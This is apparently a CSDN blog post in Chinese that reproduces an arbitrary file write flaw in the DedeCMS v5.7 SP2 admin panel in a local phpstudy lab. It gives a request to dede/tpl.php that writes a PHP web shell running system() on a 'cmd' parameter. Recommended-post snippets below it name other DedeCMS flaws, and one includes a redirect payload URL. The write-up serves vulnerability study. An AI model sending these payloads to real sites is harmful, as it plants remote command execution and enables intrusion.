DedeCMS漏洞复现

最新推荐文章于 2024-03-13 21:23:03 发布

欲望川

最新推荐文章于 2024-03-13 21:23:03 发布

阅读量1k

点赞数 1

本文链接：https://blog.csdn.net/qq_52223347/article/details/114648369

版权

本文介绍了DedeCMS这款流行的开源CMS，它在国内市场占有重要地位。文章详细展示了如何搭建DedeCMS环境，从创建数据库、安装到获取token值，最后讲解了如何利用特定Payload在/include/taglib/目录下生成webshell，揭示了系统的任意文件操作漏洞。

摘要由CSDN通过智能技术生成

介绍

织梦CMS是集简单、健壮、灵活、开源几大特点的开源内容管理系统,目前占领了国内开源CMS的大部份市场,目前已经有超过三十万个站点正在使用织梦CMS或基于织梦CMS核心开发。
官方网站: http://www.dedecms.com/

环境搭建

phpstudy
创建数据库
解压源码到www下
Dedecms_v5.7ps2
访问 DedeCMS/uploads/install/index.php 安装
在这里插入图片描述安装完成–》登陆后台
任意文件操作漏洞复现

进到网站后台–》访问 dede/tpl.php?action=upload获取token值
在这里插入图片描述

填写相应Payload即可在/include/taglib/ (文件名) .lib.php 生成webshell.

Payload: 主机名/DedeCMS/uploads/dede/tpl.php?filename= (文件名.lib.php&action= savetagfile&lcontent= <%3fphp+ @system($_ _GET[cmd])%3b%3f> &token=

最低0.47元/天解锁文章

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

欲望川

关注关注

1
点赞
踩
9

收藏

觉得还不错? 一键收藏
0
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

DedeCms 织梦系统漏洞上传webshell复现四种方法超详细

qq_48368964的博客

08-03

524

DedeCMS是织梦团队开发PHP 网站管理系统，它以简单、易用、高效为特色，组建出各种各样各具特色的网站，如地方门户、行业门户、政府及企事业站点等。

DEDECMS v5.6漏洞复现

_Ralph的博客

01-16

7997

织梦内容管理系统(dedecms) 以简单、实用、开源而闻名，是国内最知名的PHP开源网站管理系统，也是使用用户最多的PHP类cms系统，在经历多年的发展，目前的版本无论在功能，还是在易用性方面，都有了长足的发展和进步，DedeCms免费版的主要目标用户锁定在个人站长，功能更专注于个人网站或中小型门户的构建，当然也不乏有企业用户和学校等在使用该系统。闲来无事，复现一下dedecms v5.6版

参与评论您还未登录，请先登录后发表或查看评论

漏洞复现，DeDeCMS织梦

qq_53188113的博客

11-25

3127

目录一、复现环境二、复现过程及环境一、复现环境 PHP 5.6 DeDeCMSV5.7SP2 正式版(2018-01-09) 二、复现过程及环境安装 DeDeCMS 首先，利用PHPstudy安装环境点击网站，进入后再点击创建网站，然后填写域名，可根据自己的需要来填写回到文件夹，打开 DeDeCMS所在文件夹的uploads路径，把其下所有的文件复制到 studypro文件夹的www目录中即可域名/install/ 进入安装页面填写好..

dedecms 文件上传（CVE-2019-8933）漏洞复现

weixin_42675091的博客

09-03

3495

dedecms 文件上传（CVE-2019-8933）

DedeCms织梦系统漏洞复现

最新发布

LIU6636LIU的博客

03-13

2070

1 部署好之后发现系统默认管理路径是dede，登陆管理后台可以通过地址然后有dedecms安全提示直接打开根目录修改dede文件夹为LYP重新进去管理员后台对数据进行还原看一下网站的地址接着生成新的网站然后即可访问网站，CMS搭建完毕首先打开后台管理页面开启会员功能这样就可以注册一个账户。

DedeCMS V5.7sp2最新版本parse_str函数SQL注入漏洞

网站安全专家

08-10

3847

织梦dedecms，在整个互联网中许多企业网站，个人网站，优化网站都在使用dede作为整个网站的开发架构，dedecms采用php+mysql数据库的架构来承载整个网站的运行与用户的访问，首页以及栏目页生成html静态化，大大的加快的网站访问速度，以及搜索引擎的友好度，利于百度蜘蛛的抓取，深受广大站长以及网站运营者的喜欢。最近我们发现dedecms漏洞，存在高危的parse_str函数sql注入漏...

dedecms漏洞复现

03-28

由于 Dedecms 平台存在多个漏洞，以下是一个常见的 Dedecms 漏洞复现过程： 1. 扫描目标 Dedecms 站点，确定其版本号和漏洞类型。 2. 找到对应的漏洞利用代码，例如 Dedecms v5.7 SP2 sql注入漏洞利用代码： ``` ...

DedeCMS V5.7文件上传漏洞复现

weixin_51047454的博客

03-20

1316

CVE-2018-20129-DedeCMS V5.7 SP2前台文件上传漏洞复现登录管理页面后，开启会员功能（默认是关闭的）回到首页，用户登录后，点击会员中心。打开内容中心（第一次进入会提示完善个人信息，完善一下，不然不能操作）重点开始 4. 发表文章的表单最下方有一个图片的图标，点击可以选择上传图片到服务端。制作图片码上传抓包修改文件后缀：p*hp 连接，成功代码审计为什么用.ph%p就可以绕过检测了？我们来看看源码中的问题部分。找到图片的校验部分的源

Dedecms 最新版漏洞收集并复现学习

墨痕诉清风的博客

09-30

5476

在用户密码重置功能处，php存在弱类型比较，导致如果用户没有设置密保问题的情况下可以绕过验证密保问题，直接修改密码(管理员账户默认不设置密保问题)。这么一次过滤，直接粗暴的将一些特殊字符替换为空，那么我们就可以通过特殊字符绕过上面的全局文件名不能包含php字符的限制，比如文件名为。这样，由于index.php中我们可以控制返回一个输入值和这个输入值经过服务器处理后的md5值。我们可以看到当uid存在值时就会进入我们现在的代码中，当cookie中的last_vid中不存在值为空时，就会将uid值赋予过去，

DeDeCMSV5.7SP2漏洞复现B

worker___的博客

12-14

2133

一. 实验内容、原理复现环境 PHP 5.6、DeDeCMSV5.7SP2 正式版(2018-01-09) 复现工具 DeDeCMSV5.7SP2 正式版(2018-01-09) HackBar/Max HacKBar 插件（后者火狐专有） Proxy SwitchyOmega 插件 Burp Suite 抓包工具 phpstudypro 建站工具 Google Chrome/Firefox 浏览器二. 实验过程 DeceCMS v5.7 SP2正式版前台任意修改用...

漏洞复现--织梦CMS_V5.7任意用户密码重置漏洞

HengMengSec的博客

08-16

2126

织梦内容管理系统（DeDeCMS）以其简单、实用、开源的特点而著名。作为国内最知名的PHP开源网站管理系统，它在多年的发展中取得了显著进步，无论在功能还是易用性方面都有长足的发展。该系统广泛应用于中小型企业门户网站、个人网站、企业和学习网站建设。在中国，DedeCMS被认为是最受欢迎的CMS系统之一。但是，最近发现该系统的一个漏洞位于member/resetpassword.php文件中。由于未对接收的参数safeanswer进行严格的类型判断，攻击者可以利用弱类型比较来绕过安全措施。

dedecms漏洞简单复现

qq_53639387的博客

11-26

2865

一.利用phpstudy来搭建dedecms网站（下载phpstudy）下载可以在官网下https://www.xp.cn/download.html 安装完成设置如下二.下载dedecms源码 http://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7-GBK-SP2-Full.tar.gz 将其解压然后将文件名为uploads里面的文件复制到 phpstudy_pro文件中的www中三.安装dedecms ...

渗透测试实战--dedecms漏洞复现

qq_45070118的博客

08-18

5719

实验设备：一台windows服务器，一台kali，一台windows客户端在虚拟机WIN7上使用phpstudy搭站（解压文件将文件放置在phpstudy配置文件WWW中），使用物理机进行攻击，WIN7 IP为192.168.10.5 物理机安装jdk，建立java环境，由此来运行菜刀网页链接是WWW后的路径（http://ip/dedecms/uploads) 根据文件存放位置来定在物理机...

DedeCMS_v5.7漏洞复现

热门推荐

qq_51459600的博客

04-06

1万+

DedeCMS_v5.7漏洞复现环境搭建：服务器：WinServer2008（10.10.10.143） + phpstudy2018 DedeCMS版本：DedeCMS-V5.7-UTF8-SP2 下载地址：https://pan.baidu.com/s/1GQjWSDe7IlMVsVJ7HvrBOw 提取码: i4wk 0x01 URL重定向版本<=5.7sp2 漏洞复现 payload： http://10.10.10.143/Dedecms/plus/download.php?open

【漏洞情报】复现任务

liangtaiwei的博客

12-13

2489

一、漏洞概述织梦内容管理系统(DedeCms) [1] 以简单、实用、开源而闻名，是国内最知名的 PHP 开源网站管理系统，也是使用用户最多的 PHP 类 CMS 系统，在经历多年的发展，目前的版本无论在功能，还是在易用性方面，都有了长足的发展和进步，DedeCms 免费版的主要目标用户锁定在个人站长，功能更专注于个人网站或中小型门户的构建，当然也不乏有企业用户和学校等在使用该系统。 2018 年 1 月 10 日，锦行信息安全公众号公开了一个关于 DeDeCMS

Dedecms V5.7 sp2后台getshell漏洞复现(第一处)

weixin_42558965的博客

09-28

1121

前言：为了简便，试用了phpstudy 下载dedecms V5.7 sp2 使用phpstudy新建网站www.dedtest.com，并将下载的dedecms V5.7 sp2复制到其网站目录下，然后建站开始复现漏洞的只要原因是出现在了C:\phpstudy_pro\WWW\www.dedtest.com\dede文件夹下的sys_varifiles.php文件，一下为代码： /*----------------------- 下载文件 function _getfiles() ----------

DedeCMS_v5.7其他漏洞复现

wutiangui的博客

09-12

550

其中aHR0cDovL3d3dy5iYWlkdS5jb20=是http://www.baidu.com的base64编码。管理员在添加用户购买商品的配送方式时，可能会触发存储型xss。进入后台—>会员—>配货方式设置—>增加一个配货方式。二、后台shops_delivery_存储型XSS。后台modifytmp.inc被写入了新内容。三、sys_verifies后台文件写入。用户在购买商品时会自动弹出配送方式列表。版本：5.7sp1、5.7sp2。访问后发现直接转到百度。